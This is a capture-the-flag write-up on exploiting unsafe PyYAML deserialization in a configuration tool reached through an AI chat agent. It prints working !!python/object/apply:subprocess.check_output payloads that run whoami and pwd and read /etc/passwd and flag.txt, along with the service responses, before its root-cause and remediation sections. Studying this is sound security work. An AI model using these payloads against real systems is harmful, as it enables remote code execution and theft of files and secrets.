Skip to content

The Shape Shifter

FieldDetail
TrackExpert
ClassificationInsecure YAML deserialization leading to remote code execution

Flag obtained: flag-e4498e

Status: Mission accomplished. "level_completed": true

The configuration processor deserialized attacker-controlled YAML with an unsafe PyYAML loader. !!python/object/apply:subprocess.check_output executed cat flag.txt and returned the file contents in the configuration summary.

Winning payload:

{
"message": "!!python/object/apply:subprocess.check_output\n- [\"cat\", \"flag.txt\"]"
}

API response (excerpt):

Value: b'flag-e4498e'
level_completed: true

cat flag.txt via YAML gadget returning flag-e4498e

MISSION ACCOMPLISHED / FLAG ACQUIRED

Configuration processor reconnaissance:

Configuration processor tool listing

Successful whoami execution:

YAML gadget executing whoami as mcpuser

Working directory obtained with pwd:

YAML gadget executing pwd under /app/tmp

/etc/passwd read (arbitrary file access):

YAML gadget reading /etc/passwd

Flag recovered:

cat flag.txt via YAML gadget returning flag-e4498e

Level complete:

MISSION ACCOMPLISHED / FLAG ACQUIRED

Command execution: CONFIRMED
Execution account: mcpuser
Flag: flag-e4498e

The target provides a configuration-processing function that accepts YAML and returns a summary of the parsed configuration.

The intended functionality is to process configuration data. Testing demonstrated that the underlying YAML parser accepts Python-specific object construction tags.

Under an unsafe PyYAML loader, the following YAML tag:

!!python/object/apply

can invoke a Python callable during deserialization.

subprocess.check_output was selected because it executes a process and returns its standard output as a bytes object. The configuration processor then included the resulting object value in its response.

The exploitation process consisted of:

  1. Identify the available configuration-processing tool.
  2. Confirm that ordinary YAML is accepted.
  3. Test a Python-specific YAML constructor.
  4. Execute whoami to prove code execution.
  5. Execute pwd to establish the process working directory.
  6. Read /etc/passwd, then flag.txt, with the same primitive.

2.1 Identify the configuration-processing interface

Section titled “2.1 Identify the configuration-processing interface”

Prompt:

list tools and usuage

Rationale:

The first step was to determine which tool accepts the configuration and what input format it expects.

The response identified:

process_config

with a description indicating that it processes and validates YAML and returns a summary of the resulting settings.

The interface also exposed:

multi_tool_use.parallel

The agent then instructed the user to provide YAML configuration.

Configuration processor tool listing


A basic YAML document was submitted before attempting any special constructors.

Payload:

name: test
value: 123

Rationale:

The document contains only ordinary YAML types.

This establishes that the processor accepts attacker-controlled YAML and that the application processes the resulting object rather than requiring a predefined serialized file.

The configuration was accepted and summarized successfully.

This established the baseline behavior needed to distinguish an ordinary YAML parsing failure from unsafe object construction.


2.3 Execute a command through a Python YAML constructor

Section titled “2.3 Execute a command through a Python YAML constructor”

The next payload used the PyYAML-specific !!python/object/apply constructor.

Payload:

!!python/object/apply:subprocess.check_output
- whoami

The same payload was submitted to the API as:

{
"message": "!!python/object/apply:subprocess.check_output\n- whoami"
}

Rationale:

!!python/object/apply is a Python-specific YAML constructor supported by unsafe PyYAML loaders. It causes the loader to invoke the referenced callable using the supplied sequence as its arguments.

subprocess.check_output was selected because it provides a clear execution primitive while returning command output directly to the application.

whoami was chosen as the initial command because it provides a deterministic proof of execution and identifies the account under which the service is running.

This avoids prematurely relying on a particular filesystem location.

API response:

{
"success": true,
"response": "Configuration processed successfully.\n\nSummary:\n- Type: bytes\n- Value: b'mcpuser\\n'\n\nIf you have more YAML configurations to process or need further details, feel free to share!",
"level_completed": false
}

The output:

b'mcpuser\n'

proves that the command executed and that its standard output was returned through the configuration summary.

YAML gadget executing whoami as mcpuser

Conclusion:

Remote command execution was confirmed.

The command executed with the privileges of:

mcpuser

The same deserialization primitive was used to execute pwd.

Payload:

{
"message": "!!python/object/apply:subprocess.check_output\n- pwd"
}

Rationale:

The flag filename was not yet known to be located relative to the current process directory.

Determining the current working directory avoids assuming that:

flag.txt

exists in the process’s current directory.

The same known execution primitive was reused so that the test did not introduce a new variable.

API response excerpt:

Value returned: b'/app/tmp/tmph82qs42l\n'

The service therefore executes commands from:

/app/tmp/tmph82qs42l

YAML gadget executing pwd under /app/tmp

This also explains why a relative path such as flag.txt could produce a false negative if the flag is stored elsewhere.


subprocess.check_output accepts an argument vector. In YAML that is a sequence after the constructor tag. A nested JSON list in the chat message field is equivalent:

!!python/object/apply:subprocess.check_output
- cat
- flag.txt

Payload (arbitrary file read):

{
"message": "!!python/object/apply:subprocess.check_output\n- [\"cat\", \"/etc/passwd\"]"
}

API response: "success": true. The summary contained /etc/passwd content as bytes. "level_completed": false at this step because the flag had not yet been read.

YAML gadget reading /etc/passwd

Payload (flag):

{
"message": "!!python/object/apply:subprocess.check_output\n- [\"cat\", \"flag.txt\"]"
}

API response:

{
"success": true,
"response": "Configuration processed successfully.\nType: bytes\nValue: b'flag-e4498e'\n...",
"level_completed": true
}

cat flag.txt via YAML gadget returning flag-e4498e

MISSION ACCOMPLISHED / FLAG ACQUIRED

TestResult
User-controlled YAML acceptedConfirmed
Python YAML constructor acceptedConfirmed
subprocess.check_output invokedConfirmed
OS command executionConfirmed
Execution identitymcpuser
Working directory/app/tmp/tmph82qs42l
Arbitrary file read/etc/passwd
Flag recoveredflag-e4498e

The root cause is unsafe deserialization of attacker-controlled YAML using a PyYAML loader that permits Python object construction.

The application intends to process configuration data. Instead, the YAML parser is capable of reconstructing Python objects and invoking Python callables during deserialization.

This converts a data-processing feature into a code-execution primitive.

A secure YAML parser should treat user-supplied configuration as data.

An unsafe PyYAML loader can interpret Python-specific tags such as:

!!python/object/apply

and use them to construct or invoke Python objects.

The successful invocation of:

subprocess.check_output

demonstrates that the loader was operating with capabilities beyond ordinary YAML parsing.

3.2 User-controlled data reaches a code-execution primitive

Section titled “3.2 User-controlled data reaches a code-execution primitive”

The attacker controls the complete YAML document.

The application then passes that document into the YAML deserialization layer.

The effective security boundary is therefore:

Attacker-controlled YAML
YAML parser
Python object construction
Callable invocation
Operating-system command

The vulnerability exists before the language model’s response formatting occurs.

The model is only the delivery interface. The underlying parser is responsible for executing the attacker-controlled constructor.

3.3 Output formatting amplified the vulnerability

Section titled “3.3 Output formatting amplified the vulnerability”

The configuration processor returns a summary containing both the resulting object type and value.

That behavior is harmless for ordinary configuration values.

However, after deserialization executes:

subprocess.check_output

the returned bytes object contains command output.

The application therefore reflects the result of the attacker-controlled command back to the user:

Type: bytes
Value: b'mcpuser\n'

This made exploitation straightforward and removed the need for a separate blind-execution channel.

The vulnerability results from:

  1. Accepting attacker-controlled YAML.
  2. Deserializing the YAML with an unsafe PyYAML loader.
  3. Allowing Python-specific constructors.
  4. Allowing constructors to invoke arbitrary Python callables.
  5. Providing access to subprocess.check_output.
  6. Returning the resulting command output to the attacker.

The fundamental security failure is deserialization of untrusted data with executable Python object support.

Severity: Critical

Remote code execution was directly demonstrated on the configuration-processing service.

The attacker can execute operating-system commands as the service account:

mcpuser

The working directory was confirmed as:

/app/tmp/tmph82qs42l

The demonstrated execution primitive can potentially access any files readable by mcpuser.

This may include:

  • application configuration;
  • environment data;
  • credentials;
  • API tokens;
  • source code;
  • temporary files;
  • service configuration;
  • other secrets accessible to the process.

/etc/passwd and flag.txt were both read through the same primitive. The flag value returned in the summary was flag-e4498e.

Because the attacker can execute arbitrary commands in the service context, files and other resources writable by mcpuser may potentially be modified.

The exact extent depends on the permissions and isolation of the execution environment.

Arbitrary command execution can potentially be abused to consume CPU, memory, disk space, or other resources available to the compromised service.

The actual availability impact was not tested during the challenge.

CapabilityDemonstrated
Submit attacker-controlled YAMLYes
Trigger Python object constructionYes
Invoke subprocess.check_outputYes
Execute OS commandsYes
Obtain command outputYes
Identify service accountYes
Determine working directoryYes
Read arbitrary filesYes (/etc/passwd, flag.txt)
Recover flag.txtYes (flag-e4498e)

The appropriate severity is Critical because remote code execution and arbitrary file read were demonstrated. This report does not claim persistence or full host compromise.

FrameworkCategoryRelevance
OWASP Top 10:2021A08: Software and Data Integrity FailuresUntrusted serialized data is processed in a way that permits executable Python object construction.
OWASP Top 10 for LLM Applications 2025LLM06: Excessive AgencyA configuration-processing capability has access to operating-system command execution far beyond the intended configuration-processing task.
OWASP Top 10 for LLM Applications 2025LLM02: Sensitive Information DisclosureCommand output is reflected through the configuration summary, and the execution primitive can potentially access data available to the service account.
OWASP Top 10 for LLM Applications 2023LLM07: Insecure Plugin DesignThe backend tool accepts attacker-controlled input and performs unsafe deserialization without an appropriate execution boundary.
CWE-502Deserialization of Untrusted DataAttacker-controlled YAML is deserialized using functionality capable of constructing executable Python objects.
CWE-78Improper Neutralization of Special Elements used in an OS CommandThe deserialization vulnerability ultimately provides an OS command-execution primitive through subprocess.check_output.

Insecure YAML Deserialization leading to Remote Code Execution

The central vulnerability is not the specific whoami payload.

The fundamental problem is that the configuration processor treats attacker-controlled YAML as trusted serialized Python data and permits Python-specific constructors to execute during deserialization.

The successful invocation of:

subprocess.check_output

provides direct evidence of remote code execution.

The application should:

  1. Use yaml.safe_load() for untrusted YAML.
  2. Do not use yaml.load() with unsafe loaders on attacker-controlled data.
  3. Explicitly reject !!python/* constructors.
  4. Prefer a restricted configuration format such as JSON when YAML-specific functionality is unnecessary.
  5. Validate the resulting data against an explicit schema.
  6. Run configuration processing with a dedicated low-privilege service account.

The most important remediation is to ensure that configuration parsing remains a data deserialization operation and cannot invoke arbitrary Python code.